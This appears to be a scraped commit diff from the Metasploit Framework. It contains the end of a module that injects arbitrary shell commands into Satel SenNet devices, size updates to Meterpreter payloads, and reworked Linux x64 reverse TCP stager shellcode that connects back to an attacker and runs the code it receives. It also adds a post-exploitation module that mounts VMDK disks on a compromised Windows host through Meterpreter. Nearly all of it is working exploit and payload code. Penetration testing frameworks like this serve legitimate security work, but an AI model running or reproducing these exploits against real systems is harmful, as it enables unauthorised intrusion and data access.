'DefaultOptions' => { 'VERBOSE' => true })
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5000),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),
|
||||
OptString.new('CMD', [true, 'Command(s) to run', 'id'])
|
||||
], self.class
|
||||
)
|
||||
|
||||
deregister_options('USERNAME', 'PASSWORD')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
|
||||
begin
|
||||
::Timeout.timeout(to) do
|
||||
command = datastore['CMD']
|
||||
inject = "$true; #{command}"
|
||||
res = connect
|
||||
|
||||
print_status("Sending command now - #{command}")
|
||||
|
||||
sock.puts(inject)
|
||||
data = sock.get_once(-1, to)
|
||||
print_good("#{data}")
|
||||
|
||||
loot_name = 'cmd-exec-log'
|
||||
loot_type = 'text/plain'
|
||||
loot_desc = 'Satel SenNet CMD Exec Dump'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
|
||||
print_good("File saved in: #{p}")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - Connection Failed...")
|
||||
return false
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 27727
|
||||
CachedSize = 27602
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 54306
|
||||
CachedSize = 54142
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 54270
|
||||
CachedSize = 54106
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 54270
|
||||
CachedSize = 54106
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 54222
|
||||
CachedSize = 54058
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 957503
|
||||
CachedSize = 956991
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 958547
|
||||
CachedSize = 958035
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 958547
|
||||
CachedSize = 958035
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 957503
|
||||
CachedSize = 956991
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 957503
|
||||
CachedSize = 956991
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1189951
|
||||
CachedSize = 1188415
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1190995
|
||||
CachedSize = 1189459
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1190995
|
||||
CachedSize = 1189459
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1189951
|
||||
CachedSize = 1188415
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1189951
|
||||
CachedSize = 1188415
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 68
|
||||
CachedSize = 96
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
|
@ -17,7 +17,7 @@ module MetasploitModule
|
|||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => 'ricky',
|
||||
'Author' => ['ricky', 'tkmru'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X64,
|
||||
|
@ -26,10 +26,11 @@ module MetasploitModule
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 45, 'ADDR' ],
|
||||
'LPORT' => [ 43, 'n' ],
|
||||
'LHOST' => [ 55, 'ADDR' ],
|
||||
'LPORT' => [ 53, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
# Generated from external/source/shellcode/linux/x64/stager_sock_reverse.s
|
||||
"\x48\x31\xff" + # xor %rdi,%rdi
|
||||
"\x6a\x09" + # pushq $0x9
|
||||
"\x58" + # pop %rax
|
||||
|
@ -42,6 +43,8 @@ module MetasploitModule
|
|||
"\xb2\x07" + # mov $0x7,%dl
|
||||
"\x0f\x05" + # syscall
|
||||
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x3c" + # js 40012c <failed>
|
||||
"\x56" + # push %rsi
|
||||
"\x50" + # push %rax
|
||||
"\x6a\x29" + # pushq $0x29
|
||||
|
@ -53,6 +56,8 @@ module MetasploitModule
|
|||
"\x5e" + # pop %rsi
|
||||
"\x0f\x05" + # syscall
|
||||
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x29" + # js 40012c <failed>
|
||||
"\x48\x97" + # xchg %rax,%rdi
|
||||
"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
|
||||
"\x15\xb3" + # LPORT
|
||||
|
@ -65,12 +70,23 @@ module MetasploitModule
|
|||
"\x58" + # pop %rax
|
||||
"\x0f\x05" + # syscall
|
||||
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x0c" + # js 40012c <failed>
|
||||
"\x59" + # pop %rcx
|
||||
"\x5e" + # pop %rsi
|
||||
"\x5a" + # pop %rdx
|
||||
"\x0f\x05" + # syscall
|
||||
# read(3, "", 4096)
|
||||
"\xff\xe6" # jmpq *%rsi
|
||||
"\x48\x85\xc0" + # test %rax,%rax
|
||||
"\x78\x02" + # js 40012c <failed>
|
||||
"\xff\xe6" + # jmpq *%rsi
|
||||
# 40012c <failed>:
|
||||
"\x6a\x3c" + # pushq $0x3c
|
||||
"\x58" + # pop %rax
|
||||
"\x6a\x01" + # pushq $0x1
|
||||
"\x5f" + # pop %rdi
|
||||
"\x0f\x05" #syscall
|
||||
# exit(1)
|
||||
}
|
||||
))
|
||||
end
|
||||
|
|
|
@ -0,0 +1,259 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Manage VMDK Mount Drive',
|
||||
'Description' => %q{
|
||||
This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage
|
||||
of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the
|
||||
device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with
|
||||
extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots
|
||||
or clones are linked from the file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter']
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),
|
||||
OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),
|
||||
OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),
|
||||
OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# It returns an array of the drives currently mounted. Credits to mubix for this function.
|
||||
def get_drives
|
||||
a = client.railgun.kernel32.GetLogicalDrives()["return"]
|
||||
drives = []
|
||||
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
(0..25).each do |i|
|
||||
test = letters[i,1]
|
||||
rem = a % (2**(i+1))
|
||||
if rem > 0
|
||||
drives << test
|
||||
a = a - rem
|
||||
end
|
||||
end
|
||||
|
||||
drives
|
||||
end
|
||||
|
||||
def run
|
||||
vol = datastore['DRIVE'][0].upcase
|
||||
vmdk = datastore['VMDK_PATH']
|
||||
if vol.count("EFGHIJKLMNOPQRSTUVWXYZ") == 0
|
||||
print_error("Wrong drive letter. Choose another one")
|
||||
return
|
||||
end
|
||||
|
||||
drives = get_drives
|
||||
if drives.include? vol
|
||||
print_error("The following mount points already exists: #{drives}. Choose another one")
|
||||
return
|
||||
end
|
||||
|
||||
# Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
|
||||
begin
|
||||
client.fs.file.stat(vmdk)
|
||||
rescue
|
||||
print_error("File #{vmdk} not found")
|
||||
return
|
||||
end
|
||||
|
||||
vmware_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe","path")
|
||||
|
||||
if vmware_path.nil?
|
||||
print_error("VMware installation path not found.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("VMware path: \"#{vmware_path}\"")
|
||||
|
||||
vstor_device = find_vstor2_device
|
||||
if vstor_device.nil?
|
||||
return
|
||||
end
|
||||
|
||||
if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])
|
||||
return
|
||||
end
|
||||
|
||||
# Just few seconds to mount the unit and create the lck file
|
||||
sleep(5)
|
||||
|
||||
if get_drives.include? vol
|
||||
print_good("The drive #{vol}: seems to be ready")
|
||||
if datastore['DEL_LCK']
|
||||
delete_lck(vmdk)
|
||||
end
|
||||
else
|
||||
print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
|
||||
# Some snapshots could give some problems when are mount in write mode
|
||||
if !datastore['READ_MODE']
|
||||
print_status("Try to mount the drive in read only mode")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Delete the lck file generated after mounting the drive
|
||||
def delete_lck(vmdk)
|
||||
lck_dir = vmdk << ".lck"
|
||||
begin
|
||||
files = client.fs.dir.entries(lck_dir)
|
||||
vprint_status("Directory lock: #{lck_dir}")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
print_status("It was not found a lck directory")
|
||||
return
|
||||
end
|
||||
|
||||
files.shift(2)
|
||||
files.each do |f|
|
||||
f_path = lck_dir + "\\#{f}"
|
||||
next if !file?(f_path)
|
||||
fd = client.fs.file.open(f_path)
|
||||
content = fd.read.to_s
|
||||
fd.close
|
||||
if content.include? "vixDiskMountServer"
|
||||
begin
|
||||
client.fs.file.rm(f_path)
|
||||
print_status("Lock file #{f} deleted")
|
||||
rescue ::Exception => e
|
||||
print_error("Unable to remove file: #{e.message}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Recover the device drive name created by vstor2-mntapi20-shared.sys
|
||||
def find_vstor2_device
|
||||
reg_services = "HKLM\\SYSTEM\\ControlSet001\\Services\\"
|
||||
devices = registry_enumkeys(reg_services)
|
||||
vstor2_key = devices.grep(/^vstor2/)
|
||||
if !vstor2_key.any?
|
||||
print_error("No vstor2 key found on #{reg_services}")
|
||||
return
|
||||
end
|
||||
|
||||
device_path = registry_getvaldata(reg_services << vstor2_key[0],"ImagePath")
|
||||
|
||||
if device_path.nil?
|
||||
print_error("No image path found for the vstor2 device")
|
||||
return
|
||||
end
|
||||
|
||||
device_name = device_path.split('\\')[-1].split('.')[0]
|
||||
print_status("Device driver name found: \\\\.\\#{device_name}")
|
||||
device_name.insert(0, "\\\\.\\")
|
||||
end
|
||||
|
||||
# Mount the vmdk file by sending a magic control code via DeviceIoControl
|
||||
def mount_vmdk(vstore, vmdk_file, vol, read_mode)
|
||||
# DWORD value representing the drive letter
|
||||
i = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(vol)
|
||||
drive_dword = [(0x00000001 << i)].pack('V')
|
||||
vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")
|
||||
|
||||
ret = session.railgun.kernel32.CreateFileW(vstore, "GENERIC_WRITE|GENERIC_READ", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING",0, nil)
|
||||
if ret['GetLastError'] != 0
|
||||
print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")
|
||||
return false
|
||||
end
|
||||
# fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer
|
||||
fd1 = "\x24\x01\x00\x00"
|
||||
fd2 = "\x00\x00\x00\x00"
|
||||
fd3 = "\xBA\xAB\x00\x00"
|
||||
fd4 = "\x00\x00\x00\x00"
|
||||
fd5 = "\x02\x00\x00\x00"
|
||||
fd6 = "\x00\x00\x00\x00"
|
||||
path = (vmdk_file).ljust 260, "\x00"
|
||||
if read_mode
|
||||
fd7 = "\x01\x00\x00\x00"
|
||||
else
|
||||
fd7 = "\x00\x00\x00\x00"
|
||||
end
|
||||
|
||||
# The total length of the buffer should be 292
|
||||
buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7
|
||||
|
||||
error_code = ""
|
||||
tries = 0
|
||||
loop do
|
||||
ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'],0x2A002C,buffer,292,16348,16348,4,nil)
|
||||
error_code = ioctl['GetLastError']
|
||||
vprint_status("GetlastError DeviceIoControl = #{error_code}")
|
||||
tries += 1
|
||||
break if tries == 3 || (error_code != 31 && error_code != 6)
|
||||
end
|
||||
|
||||
if error_code == 997 || error_code == 0
|
||||
client.railgun.kernel32.CloseHandle(ret['return'])
|
||||
return true
|
||||
else
|
||||
print_error("The vmdk file could't be mounted")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Run the hidden vixDiskMountServer process needed to interact with the driver
|
||||
def open_mountserver(path)
|
||||
mount_bin = "vixDiskMountServer.exe"
|
||||
if !file?(path << mount_bin)
|
||||
print_error("#{mount_bin} not found in \"#{path}\"")
|
||||
return false
|
||||
end
|
||||
|
||||
# If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be
|
||||
# possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running
|
||||
# the script could be a solution (although this can raise suspicions to the user).
|
||||
|
||||
# On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill
|
||||
# the process to run the script again and mount another drive except if you change the mode (write or read only).
|
||||
# For this reason, to avoid this case, the process is relaunched automatically.
|
||||
p = session.sys.process.each_process.find { |i| i["name"] == mount_bin}
|
||||
|
||||
if p
|
||||
if p["ppid"] != session.sys.process.getpid
|
||||
print_error("An instance of #{mount_bin} is already running by another process")
|
||||
return false
|
||||
else
|
||||
begin
|
||||
print_status("Killing the #{mount_bin} instance")
|
||||
session.sys.process.kill(p["pid"])
|
||||
sleep(1)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => error
|
||||
print_error("The #{mount_bin} instance depending on Meterpeter could not be killed")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
proc = session.sys.process.execute(path, nil, {'Hidden' => true})
|
||||
sleep(1)
|
||||
print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => error
|
||||
print_error("Binary #{mount_bin} could could not be spawned : #{error.to_s}")
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue